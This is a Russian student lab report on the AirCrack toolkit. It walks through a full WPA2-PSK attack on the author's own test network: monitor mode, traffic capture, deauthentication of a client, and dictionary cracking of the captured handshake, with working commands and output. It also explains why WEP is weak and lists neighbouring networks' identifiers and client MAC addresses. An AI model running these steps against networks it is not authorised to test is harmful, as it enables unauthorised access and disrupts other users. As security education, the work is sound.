

Отчет по лабораторной работе 3: AirCrack

Семён Мартынов

<semen.martynov@gmail.com>

31 мая 2015 г.

Содержание

| | | |
|----------|--|----------|
| 1 | Набор инструментов для аудита беспроводных сетей AirCrack | 2 |
| 1.1 | Цель работы | 2 |
| 1.2 | Ход работы | 2 |
| 1.2.1 | подготовка испытательного стенда | 2 |
| 1.2.2 | Запуск режима мониторинга на беспроводном интерфейсе | 3 |
| 1.2.3 | Сбор трафика | 3 |
| 1.2.4 | Деаутентификация прочих клиентов | 5 |
| 1.2.5 | Взлом с использованием словаря паролей | 6 |
| 1.2.6 | Взлом сети WEP | 7 |
| 1.3 | Выводы | 8 |

1 Набор инструментов для аудита беспроводных сетей AirCrack

1.1 Цель работы

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK и WEP.

1.2 Ход работы

1.2.1 подготовка испытательного стенда

Для проведения данной работы использовалась специально подготовленная WiFi-сеть, параметры которой представлены на рисунке 1.

| Wireless - Interface | |
|----------------------------------|--|
| SSID: | testnet |
| Channel: | Auto |
| Wireless Mode: | Auto <input type="checkbox"/> 54g Protection |
| Authentication Method: | WPA2-Personal |
| WPA Encryption: | AES |
| WPA Pre-Shared Key: | •••••••• |
| WEP Encryption: | None |
| Passphrase: | |
| WEP Key 1 (10 or 26 hex digits): | |
| WEP Key 2 (10 or 26 hex digits): | |
| WEP Key 3 (10 or 26 hex digits): | |
| WEP Key 4 (10 or 26 hex digits): | |
| Key Index: | 2 |
| Network Key Rotation Interval: | 0 |

Рис. 1: Параметры сети

Пароль выбран исходя из требований web-интерфейса роутера - он содержит не менее 7 символ, включая спецсимволы.

Утилиты из набора AirCrack запускались из дистрибутива BlackArch, т.к. Kali linux (вернее Debian) имеет проблему с поддержкой драйверов современных устройств. Скриншоты в BlackArch делать неудобно, поэтому в отчёте будет приведён текстовый вывод консоли.

1.2.2 Запуск режима мониторинга на беспроводном интерфейсе

Этот режим позволяет адаптеру видеть весь беспроводной трафик (вернее не отбрасывать не свои пакеты), который ему физически доступен. Команда и её вывод показаны в листинге 1.

Листинг 1: Запуск режима мониторинга

```
1 [ blackarch ~ ]# airmon-ng start wlp3s0
2
3 Interface      Chipset      Driver
4
5 wlp3s0         Intel + iwlwifi - [phy0]
6
                        (monitor mode enabled on mon0)
```

1.2.3 Сбор трафика

Команда airodump-ng позволяет захватить весь физически доступный трафик и распознать имена сетей, каналы, точки доступа и клиентов. В листинге 2 с 5-й по 30-ю строки перечислены точки доступа, а с 30-й по 48-ю клиенты.

Листинг 2: Весь трафик

```
1 [ blackarch ~ ]# airodump-ng mon0
2
3 CH 12 ][ Elapsed: 1 min ][ 2015-05-31 12:35
4
5 BSSID          PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH
6  ESSID
7  02:1F:3C:05:3F:68  -1    112         3    0  11  54 . WEP  WEP
8  sab-sfitex
9  00:23:54:A1:CE:17  -38    52         1    0   8  54e WPA2 CCMP  PSK
10 testnet
11 E0:CB:4E:0B:0D:7D  -82    61         0    0  10  54  WPA  TKIP  PSK
12 bsaroute
13 E4:77:24:9D:C2:E5  -83    54         5    0   8  54e. WPA2 CCMP  PSK
14 WiFi-DOM.ru-1678
15 CE:D2:9B:5F:83:9F  -84    49         0    0  10  54e WPA2 CCMP  PSK
16 EZCast-9B5F839F
17 C8:60:00:E4:BB:F4  -84    49         0    0   6  54e WPA2 TKIP  PSK
18 ASUS RT-N10
19 20:4E:7F:93:68:36  -84    39         0    0   7  54e. WPA2 CCMP  PSK
20 WiFi-DOM.RU-6916
```

| | | | | | | | | | | | |
|----|-------------------|-------------------|-----|-------|------|--------|----------|------|------|-----|----|
| 14 | 28:10:7B:F6:4C:2E | -84 | 64 | 39 | 0 | 7 | 54e | WPA | CCMP | PSK | |
| | Sampson -85 | | | | | | | | | | |
| 15 | 00:0C:42:6D:38:F9 | -85 | 37 | 5 | 0 | 11 | 12 | WEP | WEP | | |
| | Tramnet | | | | | | | | | | |
| 16 | 00:0C:42:66:E4:87 | -86 | 24 | 1 | 0 | 11 | 54 | WEP | WEP | | |
| | Tramnet | | | | | | | | | | |
| 17 | C4:A8:1D:5C:DA:CF | -86 | 14 | 0 | 0 | 5 | 54e | WPA2 | CCMP | PSK | |
| | Rostelecom 17 | | | | | | | | | | |
| 18 | 28:28:5D:A5:07:B8 | -86 | 11 | 0 | 0 | 11 | 54e | WPA2 | CCMP | PSK | XB |
| | -77 | | | | | | | | | | |
| 19 | F0:84:C9:57:82:E8 | -85 | 19 | 0 | 0 | 6 | 54e | WPA2 | CCMP | PSK | |
| | WiFi-DOM.ru-4288 | | | | | | | | | | |
| 20 | 20:4E:7F:93:68:4C | -86 | 7 | 0 | 0 | 2 | 54e. | WPA | TKIP | PSK | |
| | WiFi-DOM.RU-9804 | | | | | | | | | | |
| 21 | 00:0C:42:6D:39:04 | -87 | 9 | 0 | 0 | 11 | 54 | WEP | WEP | | |
| | Tramnet | | | | | | | | | | |
| 22 | 00:1E:58:C5:7D:4F | -85 | 33 | 4 | 0 | 6 | 54 | WPA2 | CCMP | PSK | |
| | dlink111 | | | | | | | | | | |
| 23 | 84:1B:5E:77:5F:B7 | -87 | 71 | 0 | 0 | 3 | 54e. | WPA2 | CCMP | PSK | |
| | SAMPSON85 | | | | | | | | | | |
| 24 | 20:4E:7F:93:B3:6C | -87 | 32 | 0 | 0 | 2 | 54e. | WPA2 | CCMP | PSK | |
| | WiFi-DOM.RU-4440 | | | | | | | | | | |
| 25 | 00:11:95:E7:3D:77 | -87 | 5 | 0 | 0 | 5 | 54 | WPA2 | CCMP | MGT | |
| | somenet | | | | | | | | | | |
| 26 | E4:F4:C6:D3:68:63 | -87 | 17 | 0 | 0 | 11 | 54e. | WPA2 | CCMP | PSK | |
| | NETGEAR | | | | | | | | | | |
| 27 | F4:6D:04:A0:46:E5 | -88 | 8 | 1 | 0 | 6 | 54 | WPA | TKIP | PSK | |
| | FALLEN | | | | | | | | | | |
| 28 | 20:4E:7F:81:B7:92 | -1 | 0 | 0 | 0 | 3 | -1 | | | | < |
| | length: 0> | | | | | | | | | | |
| 29 | 00:1F:C6:53:0B:EC | -88 | 2 | 0 | 0 | 6 | 54e | WPA2 | TKIP | PSK | dd |
| | -wrt | | | | | | | | | | |
| 30 | | | | | | | | | | | |
| 31 | BSSID | STATION | PWR | Rate | Lost | Frames | Probe | | | | |
| 32 | | | | | | | | | | | |
| 33 | 02:1F:3C:05:3F:68 | 00:1F:3C:54:F6:AA | -68 | 0 - 1 | 5 | 233 | sab - | | | | |
| | sfitex | | | | | | | | | | |
| 34 | (not associated) | DC:CE:BC:95:33:C7 | -81 | 0 - 1 | 0 | 19 | | | | | |
| 35 | (not associated) | 1C:4B:D6:9F:23:98 | -82 | 0 - 1 | 9 | 2 | | | | | |
| 36 | (not associated) | 60:21:C0:B8:C9:3F | -83 | 0 - 1 | 12 | 3 | | | | | |
| 37 | (not associated) | D8:B3:77:71:40:24 | -83 | 0 - 1 | 0 | 16 | | | | | |
| | Vodokanal | | | | | | | | | | |
| 38 | (not associated) | 98:03:D8:DE:AB:8B | -84 | 0 - 1 | 0 | 1 | | | | | |
| 39 | (not associated) | BC:92:6B:36:AD:CB | -85 | 0 - 1 | 0 | 6 | | | | | |
| 40 | (not associated) | 8C:C5:E1:F6:BB:94 | -87 | 0 - 1 | 208 | 185 | DIR -620 | | | | |

| | | | | | | | |
|----|-------------------|-------------------|-----|--------|----|----|--------|
| 41 | (not associated) | 10:08:C1:8A:59:F6 | -86 | 0 - 1 | 25 | 9 | 11n-AP |
| 42 | (not associated) | 00:16:EB:14:36:96 | -88 | 0 - 1 | 0 | 1 | |
| 43 | 00:23:54:A1:CE:17 | 00:0D:81:A2:35:DF | -81 | 0 - 1 | 0 | 4 | |
| 44 | E4:77:24:9D:C2:E5 | 00:23:4E:A2:7C:22 | -1 | 5e- 0 | 0 | 2 | |
| 45 | 20:4E:7F:93:68:36 | C8:19:F7:5F:70:A9 | -88 | 0 - 1e | 0 | 1 | |
| 46 | 28:10:7B:F6:4C:2E | C8:B5:B7:95:D2:C4 | -1 | 0e- 0 | 0 | 39 | |
| 47 | 00:1E:58:C5:7D:4F | BC:96:80:04:18:B0 | -1 | 1 - 0 | 0 | 1 | |
| 48 | 20:4E:7F:81:B7:92 | 1C:4B:D6:FD:32:A6 | -88 | 0 - 1 | 0 | 3 |] |

В 8-й строчке можно видеть нашу целевую сеть; её BSSID 00:23:54:A1:CE:17 и она работает на 8-м канале. Теперь можно запустить airodump-ng с параметрами отслеживания именно этой сети (листинг 3). Параметр *-write* обеспечивает запись трафика в файл с префиксом dump.

Листинг 3: Отслеживание сети testnet

1 [blackarch ~]# airodump-ng --bssid 00:23:54:A1:CE:17 -c 8 --write dump
mon0
2
3
4 CH 8][Elapsed: 8 s][2015-05-31 12:40
5
6 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER
AUTH ESSID
7
8 00:23:54:A1:CE:17 -35 93 75 304 41 8 54e WPA2 CCMP PSK
testnet
9
10 BSSID STATION PWR Rate Lost Frames Probe
11
12 00:23:54:A1:CE:17 00:0D:81:A2:35:DF -36 54 -36 9 304]

1.2.4 Деаутентификация прочих клиентов

Для захвата зашифрованного пароля нужно иметь клиентскую аутентификацию на точке доступа. Если пользователь уже прошел проверку подлинности, то можно его деаутентифицировать и тогда система автоматически повторит аутентификацию, и в этот момент можно перехватить нужный пакет.

В листинге 4 показано, как используя знания о физическом адресе клиента, мы (в отдельном окне терминала) делаем 10 попыток деаутентификации. Можно было отправить и широковещательный запрос, но некоторые современные точки доступа имеют защиту от такого трюка.

Листинг 4: Деаутентификация клиентов

```

1 [ blackarch ~ ]# aireplay-ng --deauth 10 -a 00:23:54:A1:CE:17 -h 00:0D
   :81:A2:35:DF mon0
2
3 12:43:22  Waiting for beacon frame (BSSID: 00:23:54:A1:CE:17) on channel 8
4 NB: this attack is more effective when targeting
5 a connected wireless client (-c <client's mac>).
6 12:43:22  Sending DeAuth to broadcast -- BSSID: [00:23:54:A1:CE:17]
7 12:43:23  Sending DeAuth to broadcast -- BSSID: [00:23:54:A1:CE:17]
8 12:43:23  Sending DeAuth to broadcast -- BSSID: [00:23:54:A1:CE:17]
9 12:43:24  Sending DeAuth to broadcast -- BSSID: [00:23:54:A1:CE:17]
10 12:43:24  Sending DeAuth to broadcast -- BSSID: [00:23:54:A1:CE:17]
11 12:43:24  Sending DeAuth to broadcast -- BSSID: [00:23:54:A1:CE:17]
12 12:43:25  Sending DeAuth to broadcast -- BSSID: [00:23:54:A1:CE:17]
13 12:43:25  Sending DeAuth to broadcast -- BSSID: [00:23:54:A1:CE:17]
14 12:43:26  Sending DeAuth to broadcast -- BSSID: [00:23:54:A1:CE:17]
15 12:43:26  Sending DeAuth to broadcast -- BSSID: [00:23:54:A1:CE:17]

```

В это время, в окне сбора трафика, в правом верхнем углу появляется сообщение *WPA handshake*, т.е. нужный пакет пойман (листинг 5).

Листинг 5: WPA handshake

```

1 CH  8  ][ Elapsed: 4 mins  ][ 2015-05-31 12:44  ][ WPA handshake: 00:23:54:
   A1:CE:17
2
3 BSSID                PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC   CIPHER
   AUTH ESSID
4
5 00:23:54:A1:CE:17    -36 100      2486      8992      0   8  54e  WPA2 CCMP   PSK
   testnet
6
7 BSSID                STATION            PWR   Rate    Lost    Frames  Probe
8
9 00:23:54:A1:CE:17    00:0D:81:A2:35:DF  -33   54 -36      0      8866   ]

```

1.2.5 Взлом с использованием словаря паролей

Когда зашифрованный пароль получен и сохранён в файл `dump-01.cap`, можно запустить `aircrack-ng` с базой распространённых паролей (листинг 6). В таких ситуациях, эксперты любят напоминать, что успешность атаки сильно зависит от качеств словаря паролей. В нашем случае пароль был найден очень быстро.

Листинг 6: WPA handshake

```
1 [ blackarch ~ ]# aircrack-ng dump-01.cap -w /usr/share/dict/cracklib-small
2
3
4           Aircrack-ng 1.2 rc1
5
6
7           [00:00:01] 2796 keys tested (1511.58 k/s)
8
9
10          KEY FOUND! [ banana's ]
11
12
13      Master Key      : B1 1C CE C1 C3 97 6B 35 5C CC 74 35 5E C8 EC C7
14                      E5 AB B1 1C DB 58 F3 F6 29 F8 96 04 A8 EB BB 68
15
16      Transient Key   : AC 3F 75 9A 6A 33 E8 7A 78 36 95 AB CC A9 5F D6
17                      8E 0C 8B 10 13 B9 10 F0 AE 06 22 93 2B 01 62 06
18                      47 BE 1A 6C 52 32 3E 93 20 9A 1C 7D 16 E7 5D 8F
19                      02 0C 09 17 1D AA 8E 57 69 91 25 E6 B1 DD 73 F5
20
21      EAPOL HMAC      : 64 8C 1D 40 19 46 19 FC FA 1C 35 B7 E3 CC DD 13
```

1.2.6 Взлом сети WEP

Взлом WEP сети выполняется ещё проще, в том смысле, что небезопасность протокола даёт некоторые гарантии взломщику.

Проблема заложено в самой архитектуре – шифрование потока осуществляется при помощи временного ключа. Вместе с каждым пакетом данных WEP передаёт несколько байт этого самого ключа. Таким образом, вне зависимости от сложности ключа раскрыть любую передачу можно просто имея достаточное число перехваченных пакетов (10 000 пакетов мне всегда хватало, что довольно мало для активно используемой сети).

Не смотря на крайне низкую степень безопасности, этот протокол до сих пор можно встретить, что видно в листинге 2.

1.3 Выводы

Обеспечить безопасность беспроводной сети довольно сложно. В данный момент наиболее распространены сети с защитой wep2, но, как мы убедились в этой работе, для них требуются достаточно длинные и сложные (не словарные) пароли. Новые дыры в безопасности создаёт WPS (который часто включен по умолчанию на многих SoHo роутерах), ошибки в прошивках роутеров (с бекдорами и уязвимым софтом) и вирусы (которые похищают реквизиты доступа к роутеру из списка сохранённых паролей в браузере).